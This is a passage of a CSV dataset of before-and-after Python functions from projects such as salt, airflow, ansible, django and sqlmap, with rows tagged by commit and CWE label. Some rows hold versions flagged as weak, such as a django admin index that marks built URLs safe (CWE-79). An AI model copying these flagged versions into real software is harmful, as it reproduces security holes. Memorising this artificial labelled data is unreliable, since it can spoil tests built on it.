        a package with this name exists. If not, this function will
        search for a package which provides this name. If one is found
        the output is exchanged with the real package name.
        In case this option is set to False (Default) the input will
        be returned unchanged.

    CLI Examples:

    .. code-block:: bash

        salt '*' pkg.resolve_capabilities resolve_capabilities=True w3m_ssl
    '''
    if refresh:
        refresh_db()

    ret = list()
    for pkg in pkgs:
        if isinstance(pkg, dict):
            name = next(iter(pkg))
            version = pkg[name]
        else:
            name = pkg
            version = None

        if kwargs.get('resolve_capabilities', False):
            try:
                search(name, match='exact')
            except CommandExecutionError:
                # no package this such a name found
                # search for a package which provides this name
                try:
                    result = search(name, provides=True, match='exact')
                    if len(result) == 1:
                        name = result.keys()[0]
                    elif len(result) > 1:
                        log.warn(""Found ambiguous match for capability '%s'."", pkg)
                except CommandExecutionError as exc:
                    # when search throws an exception stay with original name and version
                    log.debug(""Search failed with: %s"", exc)

        if version:
            ret.append({name: version})
        else:
            ret.append(name)
    return ret"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/store/file_store.py,0,"def _default_root_dir():
    return get_env(_TRACKING_DIR_ENV_VAR) or os.path.abspath(DEFAULT_LOCAL_FILE_AND_ARTIFACT_PATH)",,mlflow/mlflow,0b871a44b534dcf5e641bb6967f484f3e338ffb0,"def _default_root_dir():
    return get_env(_TRACKING_DIR_ENV_VAR) or os.path.abspath(DEFAULT_LOCAL_FILE_AND_ARTIFACT_PATH)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,waf/perimeterx.py,0,"def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
        page, _, _ = get_page(get=vector)
        retval |= ""https://www.perimeterx.com/whywasiblocked"" in (page or """")
        if retval:
            break

    return retval",,sqlmapproject/sqlmap,9043d9dd05a3b9470abeacd9510752999a7479ae,"def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
        page, _, _ = get_page(get=vector)
        retval = ""https://www.perimeterx.com/whywasiblocked"" in (page or """")

    return retval"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/gen_test.py,0,"def test_already_done(self):
        f1 = Future()
        f2 = Future()
        f3 = Future()
        f1.set_result(24)
        f2.set_result(42)
        f3.set_result(84)

        g = gen.WaitIterator(f1, f2, f3)
        i = 0
        for f in g:
            r = yield f
            if i == 0:
                self.assertTrue(
                    all([g.current_index()==0, g.current_future()==f1, r==24]),
                    ""WaitIterator status incorrect"")
            elif i == 1:
                self.assertTrue(
                    all([g.current_index()==1, g.current_future()==f2, r==42]),
                    ""WaitIterator status incorrect"")
            elif i == 2:
                self.assertTrue(
                    all([g.current_index()==2, g.current_future()==f3, r==84]),
                    ""WaitIterator status incorrect"")
            i += 1

        self.assertEqual(g.current_index(), None, ""bad nil current index"")
        self.assertEqual(g.current_future(), None, ""bad nil current future"")

        dg = gen.WaitIterator(f1=f1, f2=f2)

        for df in dg:
            dr = yield df
            if dg.current_index() == ""f1"":
                self.assertTrue(dg.current_future()==f1 and dr==24,
                                ""WaitIterator dict status incorrect"")
            elif dg.current_index() == ""f2"":
                self.assertTrue(dg.current_future()==f2 and dr==42,
                                ""WaitIterator dict status incorrect"")
            else:
                self.assertTrue(False, ""got bad WaitIterator index {}"".format(
                    dg.current_index()))

            i += 1

        self.assertEqual(dg.current_index(), None, ""bad nil current index"")
        self.assertEqual(dg.current_future(), None, ""bad nil current future"")",CWE-Unknown,tornadoweb/tornado,1c72fb2e39aa6e2a26b25f3432f5a453a3288a3d,"def test_already_done(self):
        f1 = Future()
        f2 = Future()
        f3 = Future()
        f1.set_result(24)
        f2.set_result(42)
        f3.set_result(84)
        
        g = gen.WaitIterator(f1, f2, f3)
        i = 0
        for f in g:
            r = yield f
            if i == 0:
                self.assertTrue(
                    all([g.current_index()==0, g.current_future()==f1, r==24]),
                    ""WaitIterator status incorrect"")
            elif i == 1:
                self.assertTrue(
                    all([g.current_index()==1, g.current_future()==f2, r==42]),
                    ""WaitIterator status incorrect"")
            elif i == 2:
                self.assertTrue(
                    all([g.current_index()==2, g.current_future()==f3, r==84]),
                    ""WaitIterator status incorrect"")
            i += 1

        self.assertEqual(g.current_index(), None, ""bad nil current index"")
        self.assertEqual(g.current_future(), None, ""bad nil current future"")

        dg = gen.WaitIterator(f1=f1, f2=f2)
                        
        for df in dg:
            dr = yield df
            if dg.current_index() == ""f1"":
                self.assertTrue(dg.current_future()==f1 and dr==24,
                                ""WaitIterator dict status incorrect"")
            elif dg.current_index() == ""f2"":
                self.assertTrue(dg.current_future()==f2 and dr==42,
                                ""WaitIterator dict status incorrect"")
            else:
                self.assertTrue(False, ""got bad WaitIterator index {}"".format(
                    dg.current_index()))

            i += 1

        self.assertEqual(dg.current_index(), None, ""bad nil current index"")
        self.assertEqual(dg.current_future(), None, ""bad nil current future"")"
,UNKNOWN,UNKNOWN,tests/jobs/test_scheduler_job.py,1,"def test_task_with_upstream_skip_process_task_instances():
    """"""
    Test if _process_task_instances puts a task instance into SKIPPED state if any of its
    upstream tasks are skipped according to TriggerRuleDep.
    """"""
    clear_db_runs()
    with DAG(
        dag_id='test_task_with_upstream_skip_dag',
        start_date=DEFAULT_DATE,
        schedule_interval=None
    ) as dag:
        dummy1 = DummyOperator(task_id='dummy1')
        dummy2 = DummyOperator(task_id=""dummy2"")
        dummy3 = DummyOperator(task_id=""dummy3"")
        [dummy1, dummy2] >> dummy3

    dag_file_processor = DagFileProcessor(dag_ids=[], log=mock.MagicMock())
    dag.clear()
    dr = dag.create_dagrun(run_id=f""manual__{DEFAULT_DATE.isoformat()}"",
                           state=State.RUNNING,
                           execution_date=DEFAULT_DATE)
    assert dr is not None

    with create_session() as session:
        tis = {ti.task_id: ti for ti in dr.get_task_instances(session=session)}
        # Set dummy1 to skipped and dummy2 to success. dummy3 remains as none.
        tis[dummy1.task_id].state = State.SKIPPED
        tis[dummy2.task_id].state = State.SUCCESS
        assert tis[dummy3.task_id].state == State.NONE

    dag_runs = DagRun.find(dag_id='test_task_with_upstream_skip_dag')
    dag_file_processor._process_task_instances(dag, dag_runs=dag_runs)

    with create_session() as session:
        tis = {ti.task_id: ti for ti in dr.get_task_instances(session=session)}
        assert tis[dummy1.task_id].state == State.SKIPPED
        assert tis[dummy2.task_id].state == State.SUCCESS
        # dummy3 should be skipped because dummy1 is skipped.
        assert tis[dummy3.task_id].state == State.SKIPPED",CWE-703,apache/airflow,11d726dcf13d7eecdd51fc25e930b3e13d81a1e4,"def test_task_with_upstream_skip_process_task_instances():
    """"""
    Test if _process_task_instances puts a task instance into SKIPPED state if any of its
    upstream tasks are skipped according to TriggerRuleDep.
    """"""
    clear_db_runs()
    with DAG(
        dag_id='test_task_with_upstream_skip_dag',
        start_date=DEFAULT_DATE,
        schedule_interval=None
    ) as dag:
        dummy1 = DummyOperator(task_id='dummy1')
        dummy2 = DummyOperator(task_id=""dummy2"")
        dummy3 = DummyOperator(task_id=""dummy3"")
        [dummy1, dummy2] >> dummy3

    dag_file_processor = DagFileProcessor(dag_ids=[], log=mock.MagicMock())
    dag.clear()
    dr = dag.create_dagrun(run_id=f""manual__{DEFAULT_DATE.isoformat()}"",
                           state=State.RUNNING,
                           execution_date=DEFAULT_DATE)
    assert dr is not None

    with create_session() as session:
        tis = {ti.task_id: ti for ti in dr.get_task_instances(session=session)}
        # Set dummy1 to skipped and dummy2 to success. dummy3 remains as none.
        tis[dummy1.task_id].state = State.SKIPPED
        tis[dummy2.task_id].state = State.SUCCESS
        assert tis[dummy3.task_id].state == State.NONE

    dag_runs = DagRun.find(dag_id='test_task_with_upstream_skip_dag')
    dag_file_processor._process_task_instances(dag, dag_runs=dag_runs)

    with create_session() as session:
        tis = {ti.task_id: ti for ti in dr.get_task_instances(session=session)}
        assert tis[dummy1.task_id].state == State.SKIPPED
        assert tis[dummy2.task_id].state == State.SUCCESS
        # dummy3 should be skipped because dummy1 is skipped.
        assert tis[dummy3.task_id].state == State.SKIPPED"
,UNKNOWN,UNKNOWN,providers/standard/tests/unit/standard/decorators/test_python.py,1,"def test_python_callable_arguments_are_templatized(self):
        """"""Test @task op_args are templatized""""""

        @task_decorator
        def arg_task(*args):
            raise RuntimeError(""Should not executed"")

        # Create a named tuple and ensure it is still preserved
        # after the rendering is done
        Named = namedtuple(""Named"", [""var1"", ""var2""])
        named_tuple = Named(""{{ ds }}"", ""unchanged"")

        with self.dag_non_serialized:
            ret = arg_task(4, date(2019, 1, 1), ""dag {{dag.dag_id}} ran on {{ds}}."", named_tuple)

        dr = self.create_dag_run()
        if AIRFLOW_V_3_0_PLUS:
            ti = TaskInstance(task=ret.operator, run_id=dr.run_id, dag_version_id=dr.created_dag_version_id)
        else:
            ti = TaskInstance(task=ret.operator, run_id=dr.run_id)
        rendered_op_args = ti.render_templates().op_args
        assert len(rendered_op_args) == 4
        assert rendered_op_args[0] == 4
        assert rendered_op_args[1] == date(2019, 1, 1)
        assert rendered_op_args[2] == f""dag {self.dag_id} ran on {self.ds_templated}.""
        assert rendered_op_args[3] == Named(self.ds_templated, ""unchanged"")",CWE-703,apache/airflow,7ea7fcdda67bbbec7fd41977e24c7d3fc9055e91,"def test_python_callable_arguments_are_templatized(self):
        """"""Test @task op_args are templatized""""""

        @task_decorator
        def arg_task(*args):
            raise RuntimeError(""Should not executed"")

        # Create a named tuple and ensure it is still preserved
        # after the rendering is done
        Named = namedtuple(""Named"", [""var1"", ""var2""])
        named_tuple = Named(""{{ ds }}"", ""unchanged"")

        with self.dag_non_serialized:
            ret = arg_task(4, date(2019, 1, 1), ""dag {{dag.dag_id}} ran on {{ds}}."", named_tuple)

        dr = self.create_dag_run()
        ti = TaskInstance(task=ret.operator, run_id=dr.run_id)
        rendered_op_args = ti.render_templates().op_args
        assert len(rendered_op_args) == 4
        assert rendered_op_args[0] == 4
        assert rendered_op_args[1] == date(2019, 1, 1)
        assert rendered_op_args[2] == f""dag {self.dag_id} ran on {self.ds_templated}.""
        assert rendered_op_args[3] == Named(self.ds_templated, ""unchanged"")"
,UNKNOWN,UNKNOWN,tools/pkg/build.py,1,"def onedir_dependencies(
    ctx: Context,
    arch: str = None,
    python_version: str = None,
    relenv_version: str = None,
    package_name: str = None,
    platform: str = None,
):
    """"""
    Create a relenv environment with the onedir dependencies installed.

    NOTE: relenv needs to be installed into your environment and builds and toolchains (linux) fetched.
    """"""
    if TYPE_CHECKING:
        assert arch is not None
        assert python_version is not None
        assert package_name is not None
        assert platform is not None

    if platform == ""darwin"":
        platform = ""macos""

    if platform != ""macos"" and arch == ""arm64"":
        arch = ""aarch64""

    shared_constants = tools.utils.get_cicd_shared_context()
    if not python_version:
        python_version = shared_constants[""python_version""]
    if not relenv_version:
        relenv_version = shared_constants[""relenv_version""]
    if TYPE_CHECKING:
        assert python_version
        assert relenv_version
    os.environ[""RELENV_FETCH_VERSION""] = relenv_version

    # We import relenv here because it is not a hard requirement for the rest of the tools commands
    try:
        import relenv.create
    except ImportError:
        ctx.exit(1, ""Relenv not installed in the current environment."")

    dest = pathlib.Path(package_name).resolve()
    relenv.create.create(dest, arch=arch, version=python_version)

    # Validate that we're using the relenv version we really want to
    if platform == ""windows"":
        env_scripts_dir = dest / ""Scripts""
    else:
        env_scripts_dir = dest / ""bin""

    ret = ctx.run(
        str(env_scripts_dir / ""relenv""), ""--version"", capture=True, check=False
    )
    if ret.returncode:
        ctx.error(f""Failed to get the relenv version: {ret}"")
        ctx.exit(1)

    env_relenv_version = ret.stdout.strip().decode()
    if env_relenv_version != relenv_version:
        ctx.error(
            f""The onedir installed relenv version({env_relenv_version}) is not ""
            f""the relenv version which should be used({relenv_version}).""
        )
        ctx.exit(1)

    ctx.info(
        f""The relenv version installed in the onedir env({env_relenv_version}) ""
        f""matches the version which must be used.""
    )

    env = os.environ.copy()
    install_args = [""-v""]
    if platform == ""windows"":
        python_bin = env_scripts_dir / ""python""
    else:
        env[""RELENV_BUILDENV""] = ""1""
        python_bin = env_scripts_dir / ""python3""
        install_args.extend(
            [
                ""--use-pep517"",
                ""--no-cache-dir"",
                ""--no-binary=:all:"",
            ]
        )

    # Cryptography needs openssl dir set to link to the proper openssl libs.
    if platform == ""macos"":
        env[""OPENSSL_DIR""] = f""{dest}""

    if platform == ""linux"":
        # This installs the ppbt package. We'll remove it after installing all
        # of our python packages.
        ctx.run(
            str(python_bin),
            ""-m"",
            ""pip"",
            ""install"",
            ""relenv[toolchain]"",
        )

    version_info = ctx.run(
        str(python_bin),
        ""-c"",
        ""import sys; print('{}.{}'.format(*sys.version_info))"",
        capture=True,
    )
    requirements_version = version_info.stdout.strip().decode()
    requirements_file = (
        tools.utils.REPO_ROOT
        / ""requirements""
        / ""static""
        / ""pkg""
        / f""py{requirements_version}""
        / f""{platform if platform != 'macos' else 'darwin'}.txt""
    )
    _check_pkg_build_files_exist(ctx, requirements_file=requirements_file)

    env[""PIP_CONSTRAINT""] = str(
        tools.utils.REPO_ROOT / ""requirements"" / ""constraints.txt""
    )
    ctx.run(
        str(python_bin),
        ""-m"",
        ""pip"",
        ""install"",
        ""-U"",
        ""setuptools"",
        ""pip"",
        ""wheel"",
        env=env,
    )
    ctx.run(
        str(python_bin),
        ""-m"",
        ""pip"",
        ""install"",
        *install_args,
        ""-r"",
        str(requirements_file),
        env=env,
    )",CWE-703,saltstack/salt,fbe1237be71330ffdd0fc25a2e23649dfc900c7a,"def onedir_dependencies(
    ctx: Context,
    arch: str = None,
    python_version: str = None,
    relenv_version: str = None,
    package_name: str = None,
    platform: str = None,
):
    """"""
    Create a relenv environment with the onedir dependencies installed.

    NOTE: relenv needs to be installed into your environment and builds and toolchains (linux) fetched.
    """"""
    if TYPE_CHECKING:
        assert arch is not None
        assert python_version is not None
        assert package_name is not None
        assert platform is not None

    if platform == ""darwin"":
        platform = ""macos""

    if platform != ""macos"" and arch == ""arm64"":
        arch = ""aarch64""

    shared_constants = tools.utils.get_cicd_shared_context()
    if not python_version:
        python_version = shared_constants[""python_version""]
    if not relenv_version:
        relenv_version = shared_constants[""relenv_version""]
    if TYPE_CHECKING:
        assert python_version
        assert relenv_version
    os.environ[""RELENV_FETCH_VERSION""] = relenv_version

    # We import relenv here because it is not a hard requirement for the rest of the tools commands
    try:
        import relenv.create
    except ImportError:
        ctx.exit(1, ""Relenv not installed in the current environment."")

    dest = pathlib.Path(package_name).resolve()
    relenv.create.create(dest, arch=arch, version=python_version)

    # Validate that we're using the relenv version we really want to
    if platform == ""windows"":
        env_scripts_dir = dest / ""Scripts""
    else:
        env_scripts_dir = dest / ""bin""

    ret = ctx.run(
        str(env_scripts_dir / ""relenv""), ""--version"", capture=True, check=False
    )
    if ret.returncode:
        ctx.error(f""Failed to get the relenv version: {ret}"")
        ctx.exit(1)

    env_relenv_version = ret.stdout.strip().decode()
    if env_relenv_version != relenv_version:
        ctx.error(
            f""The onedir installed relenv version({env_relenv_version}) is not ""
            f""the relenv version which should be used({relenv_version}).""
        )
        ctx.exit(1)

    ctx.info(
        f""The relenv version installed in the onedir env({env_relenv_version}) ""
        f""matches the version which must be used.""
    )

    env = os.environ.copy()
    install_args = [""-v""]
    if platform == ""windows"":
        python_bin = env_scripts_dir / ""python""
    else:
        env[""RELENV_BUILDENV""] = ""1""
        python_bin = env_scripts_dir / ""python3""
        install_args.extend(
            [
                ""--use-pep517"",
                ""--no-cache-dir"",
                ""--no-binary=:all:"",
            ]
        )

    # Cryptography needs openssl dir set to link to the proper openssl libs.
    if platform == ""macos"":
        env[""OPENSSL_DIR""] = f""{dest}""

    if platform == ""linux"":
        # This installs the ppbt package. We'll remove it after installing all
        # of our python packages.
        ctx.run(
            str(python_bin),
            ""install"",
            ""relenv[toolchain]"",
        )

    version_info = ctx.run(
        str(python_bin),
        ""-c"",
        ""import sys; print('{}.{}'.format(*sys.version_info))"",
        capture=True,
    )
    requirements_version = version_info.stdout.strip().decode()
    requirements_file = (
        tools.utils.REPO_ROOT
        / ""requirements""
        / ""static""
        / ""pkg""
        / f""py{requirements_version}""
        / f""{platform if platform != 'macos' else 'darwin'}.txt""
    )
    _check_pkg_build_files_exist(ctx, requirements_file=requirements_file)

    env[""PIP_CONSTRAINT""] = str(
        tools.utils.REPO_ROOT / ""requirements"" / ""constraints.txt""
    )
    ctx.run(
        str(python_bin),
        ""-m"",
        ""pip"",
        ""install"",
        ""-U"",
        ""setuptools"",
        ""pip"",
        ""wheel"",
        env=env,
    )
    ctx.run(
        str(python_bin),
        ""-m"",
        ""pip"",
        ""install"",
        *install_args,
        ""-r"",
        str(requirements_file),
        env=env,
    )"
,UNKNOWN,UNKNOWN,salt/modules/state.py,1,"def show_states(queue=False, **kwargs):
    '''
    Returns the list of states that will be applied on highstate.

    CLI Example:

    .. code-block:: bash

        salt '*' state.show_states

    .. versionadded:: Fluorine

    '''
    conflict = _check_queue(queue, kwargs)
    if conflict is not None:
        assert False
        return conflict

    opts = salt.utils.state.get_sls_opts(__opts__, **kwargs)
    try:
        st_ = salt.state.HighState(opts,
                                   proxy=__proxy__,
                                   initial_pillar=_get_initial_pillar(opts))
    except NameError:
        st_ = salt.state.HighState(opts,
                                   initial_pillar=_get_initial_pillar(opts))

    errors = _get_pillar_errors(kwargs, pillar=st_.opts['pillar'])
    if errors:
        __context__['retcode'] = 5
        raise CommandExecutionError('Pillar failed to render', info=errors)

    st_.push_active()
    states = OrderedDict()
    try:
        result = st_.compile_low_chunks()

        if not isinstance(result, list):
            raise Exception(result)

        for s in result:
            states[s['__sls__']] = True
    finally:
        st_.pop_active()

    return list(states.keys())",CWE-703,saltstack/salt,715becbb2944e5ddf5ae068d993522466d009db2,"def show_states(queue=False, **kwargs):
    '''
    Returns the list of states that will be applied on highstate.

    CLI Example:

    .. code-block:: bash

        salt '*' state.show_states

    .. versionadded:: Oxygen

    '''
    conflict = _check_queue(queue, kwargs)
    if conflict is not None:
        assert False
        return conflict

    opts = salt.utils.state.get_sls_opts(__opts__, **kwargs)
    try:
        st_ = salt.state.HighState(opts,
                                   proxy=__proxy__,
                                   initial_pillar=_get_initial_pillar(opts))
    except NameError:
        st_ = salt.state.HighState(opts,
                                   initial_pillar=_get_initial_pillar(opts))

    errors = _get_pillar_errors(kwargs, pillar=st_.opts['pillar'])
    if errors:
        __context__['retcode'] = 5
        raise CommandExecutionError('Pillar failed to render', info=errors)

    st_.push_active()
    states = OrderedDict()
    try:
        result = st_.compile_low_chunks()

        if not isinstance(result, list):
            raise Exception(result)

        for s in result:
            states[s['__sls__']] = True
    finally:
        st_.pop_active()

    return list(states.keys())"
,UNKNOWN,UNKNOWN,tests/unit/modules/test_zypperpkg.py,1,"def test_wildcard_to_query_condition_preservation(self):
        """"""
        Test wildcard to query Zypper condition preservation.

        :return:
        """"""
        xmldoc = """"""<?xml version='1.0'?><stream>
        <search-result version=""0.0""><solvable-list>
        <solvable status=""installed"" name=""libzypp"" kind=""package"" edition=""16.2.4-19.5"" arch=""x86_64"" repository=""foo""/>
        <solvable status=""other-version"" name=""libzypp"" kind=""package"" edition=""16.2.5-25.1"" arch=""x86_64"" repository=""foo""/>
        <solvable status=""other-version"" name=""libzypp"" kind=""package"" edition=""17.2.6-27.9.1"" arch=""x86_64"" repository=""foo""/>
        </solvable-list></search-result></stream>
        """"""
        _zpr = MagicMock()
        _zpr.nolock.xml.call = MagicMock(return_value=minidom.parseString(xmldoc))

        for op in zypper.Wildcard.Z_OP:
            assert zypper.Wildcard(_zpr)(""libzypp"", f""{op}*.1"") == f""{op}17.2.6-27.9.1""

        # Auto-fix feature: moves operator from end to front
        for op in zypper.Wildcard.Z_OP:
            assert zypper.Wildcard(_zpr)(""libzypp"", f""16*{op}"") == f""{op}16.2.5-25.1""",CWE-703,saltstack/salt,0d457c8b362a7bab64651e5c5b6459d604bf8368,"def test_wildcard_to_query_condition_preservation(self):
        """"""
        Test wildcard to query Zypper condition preservation.

        :return:
        """"""
        xmldoc = """"""<?xml version='1.0'?><stream>
        <search-result version=""0.0""><solvable-list>
        <solvable status=""installed"" name=""libzypp"" kind=""package"" edition=""16.2.4-19.5"" arch=""x86_64"" repository=""foo""/>
        <solvable status=""other-version"" name=""libzypp"" kind=""package"" edition=""16.2.5-25.1"" arch=""x86_64"" repository=""foo""/>
        <solvable status=""other-version"" name=""libzypp"" kind=""package"" edition=""17.2.6-27.9.1"" arch=""x86_64"" repository=""foo""/>
        </solvable-list></search-result></stream>
        """"""
        _zpr = MagicMock()
        _zpr.nolock.xml.call = MagicMock(return_value=minidom.parseString(xmldoc))

        for op in zypper.Wildcard.Z_OP:
            assert zypper.Wildcard(_zpr)(
                ""libzypp"", ""{}*.1"".format(op)
            ) == ""{}17.2.6-27.9.1"".format(op)

        # Auto-fix feature: moves operator from end to front
        for op in zypper.Wildcard.Z_OP:
            assert zypper.Wildcard(_zpr)(
                ""libzypp"", ""16*{}"".format(op)
            ) == ""{}16.2.5-25.1"".format(op)"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/providers/amazon/aws/operators/emr.py,0,"def __init__(
        self,
        *,
        job_flow_id: str | None = None,
        job_flow_name: str | None = None,
        cluster_states: list[str] | None = None,
        aws_conn_id: str = ""aws_default"",
        steps: list[dict] | str | None = None,
        wait_for_completion: bool = False,
        waiter_delay: int | None = 30,
        waiter_max_attempts: int | None = 60,
        execution_role_arn: str | None = None,
        deferrable: bool = conf.getboolean(""operators"", ""default_deferrable"", fallback=False),
        **kwargs,
    ):
        if not exactly_one(job_flow_id is None, job_flow_name is None):
            raise AirflowException(""Exactly one of job_flow_id or job_flow_name must be specified."")
        super().__init__(**kwargs)
        cluster_states = cluster_states or []
        steps = steps or []
        self.aws_conn_id = aws_conn_id
        self.job_flow_id = job_flow_id
        self.job_flow_name = job_flow_name
        self.cluster_states = cluster_states
        self.steps = steps
        self.wait_for_completion = False if deferrable else wait_for_completion
        self.waiter_delay = waiter_delay
        self.waiter_max_attempts = waiter_max_attempts
        self.execution_role_arn = execution_role_arn
        self.deferrable = deferrable",CWE-Unknown,apache/airflow,8bbea9217ae0a3f1049cd10bac838b041b07b7af,"def __init__(
        self,
        *,
        job_flow_id: str | None = None,
        job_flow_name: str | None = None,
        cluster_states: list[str] | None = None,
        aws_conn_id: str = ""aws_default"",
        steps: list[dict] | str | None = None,
        wait_for_completion: bool = False,
        waiter_delay: int | None = None,
        waiter_max_attempts: int | None = None,
        execution_role_arn: str | None = None,
        deferrable: bool = conf.getboolean(""operators"", ""default_deferrable"", fallback=False),
        **kwargs,
    ):
        if not exactly_one(job_flow_id is None, job_flow_name is None):
            raise AirflowException(""Exactly one of job_flow_id or job_flow_name must be specified."")
        super().__init__(**kwargs)
        cluster_states = cluster_states or []
        steps = steps or []
        self.aws_conn_id = aws_conn_id
        self.job_flow_id = job_flow_id
        self.job_flow_name = job_flow_name
        self.cluster_states = cluster_states
        self.steps = steps
        self.wait_for_completion = False if deferrable else wait_for_completion
        self.waiter_delay = waiter_delay
        self.waiter_max_attempts = waiter_max_attempts
        self.execution_role_arn = execution_role_arn
        self.deferrable = deferrable"
,UNKNOWN,UNKNOWN,lib/ansible/utils/collection_loader/_collection_finder.py,1,"def load_module(self, fullname):
        # short-circuit redirect; we've already imported the redirected module, so just alias it and return it
        if self._redirect_module:
            sys.modules[self._fullname] = self._redirect_module
            return self._redirect_module

        # we're actually loading a module/package
        module_attrs = dict(
            __loader__=self,
            __file__=self.get_filename(fullname),
            __package__=self._parent_package_name  # sane default for non-packages
        )

        # eg, I am a package
        if self._subpackage_search_paths is not None:  # empty is legal
            module_attrs['__path__'] = self._subpackage_search_paths
            module_attrs['__package__'] = fullname  # per PEP366

        with self._new_or_existing_module(fullname, **module_attrs) as module:
            # execute the module's code in its namespace
            code_obj = self.get_code(fullname)
            if code_obj is not None:  # things like NS packages that can't have code on disk will return None
                exec(code_obj, module.__dict__)

            return module",CWE-94,ansible/ansible,07a9de12472dde042c670a7e48eeee396207856b,"def load_module(self, fullname):
        # short-circuit redirect; we've already imported the redirected module, so just alias it and return it
        if self._redirect_module:
            sys.modules[self._fullname] = self._redirect_module
            return self._redirect_module

        # we're actually loading a module/package
        module_attrs = dict(
            __loader__=self,
            __file__=self.get_filename(fullname),
            __package__=self._parent_package_name  # sane default for non-packages
        )

        # eg, I am a package
        if self._subpackage_search_paths is not None:  # empty is legal
            module_attrs['__path__'] = self._subpackage_search_paths
            module_attrs['__package__'] = fullname  # per PEP366

        with self._new_or_existing_module(fullname, **module_attrs) as module:
            # execute the module's code in its namespace
            exec(self.get_code(fullname), module.__dict__)

            return module"
,UNKNOWN,UNKNOWN,django/contrib/admin/sites.py,1,"def index(self, request, extra_context=None):
        """"""
        Displays the main admin index page, which lists all of the installed
        apps that have been registered in this site.
        """"""
        app_dict = {}
        user = request.user
        for model, model_admin in self._registry.items():
            app_label = model._meta.app_label
            has_module_perms = user.has_module_perms(app_label)

            if has_module_perms:
                perms = model_admin.get_model_perms(request)

                # Check whether user has any perm for this module.
                # If so, add the module to the model_list.
                if True in perms.values():
                    info = (app_label, model._meta.module_name)
                    model_dict = {
                        'name': capfirst(model._meta.verbose_name_plural),
                        'admin_url': reverse('admin:%s_%s_changelist' % info, current_app=self.name),
                        'add_url': reverse('admin:%s_%s_add' % info, current_app=self.name),
                        'perms': perms,
                    }
                    if app_label in app_dict:
                        app_dict[app_label]['models'].append(model_dict)
                    else:
                        app_dict[app_label] = {
                            'name': app_label.title(),
                            'app_url': reverse('admin:app_list', kwargs={'app_label': app_label}, current_app=self.name),
                            'has_module_perms': has_module_perms,
                            'models': [model_dict],
                        }

        # Sort the apps alphabetically.
        app_list = app_dict.values()
        app_list.sort(key=lambda x: x['name'])

        # Sort the models alphabetically within each app.
        for app in app_list:
            app['models'].sort(key=lambda x: x['name'])

        context = {
            'title': _('Site administration'),
            'app_list': app_list,
        }
        context.update(extra_context or {})
        return TemplateResponse(request, [
            self.index_template or 'admin/index.html',
        ], context, current_app=self.name)",CWE-79,django/django,aaf77c1676e44019abe544911ff7a06eb2690295,"def index(self, request, extra_context=None):
        """"""
        Displays the main admin index page, which lists all of the installed
        apps that have been registered in this site.
        """"""
        app_dict = {}
        user = request.user
        for model, model_admin in self._registry.items():
            app_label = model._meta.app_label
            has_module_perms = user.has_module_perms(app_label)

            if has_module_perms:
                perms = model_admin.get_model_perms(request)

                # Check whether user has any perm for this module.
                # If so, add the module to the model_list.
                if True in perms.values():
                    model_dict = {
                        'name': capfirst(model._meta.verbose_name_plural),
                        'admin_url': mark_safe('%s/%s/' % (app_label, model.__name__.lower())),
                        'perms': perms,
                    }
                    if app_label in app_dict:
                        app_dict[app_label]['models'].append(model_dict)
                    else:
                        app_dict[app_label] = {
                            'name': app_label.title(),
                            'app_url': app_label + '/',
                            'has_module_perms': has_module_perms,
                            'models': [model_dict],
                        }

        # Sort the apps alphabetically.
        app_list = app_dict.values()
        app_list.sort(key=lambda x: x['name'])

        # Sort the models alphabetically within each app.
        for app in app_list:
            app['models'].sort(key=lambda x: x['name'])

        context = {
            'title': _('Site administration'),
            'app_list': app_list,
        }
        context.update(extra_context or {})
        return TemplateResponse(request, [
            self.index_template or 'admin/index.html',
        ], context, current_app=self.name)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/core/common.py,0,"def decodeDbmsHexValue(value, raw=False):
    """"""
    Returns value decoded from DBMS specific hexadecimal representation

    >>> decodeDbmsHexValue('3132332031') == u'123 1'
    True
    >>> decodeDbmsHexValue('31003200330020003100') == u'123 1'
    True
    >>> decodeDbmsHexValue('00310032003300200031') == u'123 1'
    True
    >>> decodeDbmsHexValue('0x31003200330020003100') == u'123 1'
    True
    >>> decodeDbmsHexValue('313233203') == u'123 ?'
    True
    >>> decodeDbmsHexValue(['0x31', '0x32']) == [u'1', u'2']
    True
    >>> decodeDbmsHexValue('5.1.41') == u'5.1.41'
    True
    """"""

    retVal = value

    def _(value):
        retVal = value
        if value and isinstance(value, six.string_types):
            value = value.strip()

            if len(value) % 2 != 0:
                retVal = (decodeHex(value[:-1]) + b'?') if len(value) > 1 else value
                singleTimeWarnMessage(""there was a problem decoding value '%s' from expected hexadecimal form"" % value)
            else:
                retVal = decodeHex(value)

            if not raw:
                if not kb.binaryField:
                    if Backend.isDbms(DBMS.MSSQL) and value.startswith(""0x""):
                        try:
                            retVal = retVal.decode(""utf-16-le"")
                        except UnicodeDecodeError:
                            pass

                    elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.H2):
                        try:
                            retVal = retVal.decode(""utf-16-be"")
                        except UnicodeDecodeError:
                            pass

                if not isinstance(retVal, six.text_type):
                    retVal = getUnicode(retVal, conf.encoding or UNICODE_ENCODING)

                if u""\x00"" in retVal:
                    retVal = retVal.replace(u""\x00"", u"""")

        return retVal

    try:
        retVal = applyFunctionRecursively(value, _)
    except:
        singleTimeWarnMessage(""there was a problem decoding value '%s' from expected hexadecimal form"" % value)

    return retVal",,sqlmapproject/sqlmap,290a8e711918018bb4cf4ae5d399ab1ca4cbc9d8,"def decodeDbmsHexValue(value, raw=False):
    """"""
    Returns value decoded from DBMS specific hexadecimal representation

    >>> decodeDbmsHexValue('3132332031') == u'123 1'
    True
    >>> decodeDbmsHexValue('313233203') == u'123 ?'
    True
    >>> decodeDbmsHexValue(['0x31', '0x32']) == [u'1', u'2']
    True
    >>> decodeDbmsHexValue('5.1.41') == u'5.1.41'
    True
    """"""

    retVal = value

    def _(value):
        retVal = value
        if value and isinstance(value, six.string_types):
            value = value.strip()

            if len(value) % 2 != 0:
                retVal = (decodeHex(value[:-1]) + b'?') if len(value) > 1 else value
                singleTimeWarnMessage(""there was a problem decoding value '%s' from expected hexadecimal form"" % value)
            else:
                retVal = decodeHex(value)

            if not raw:
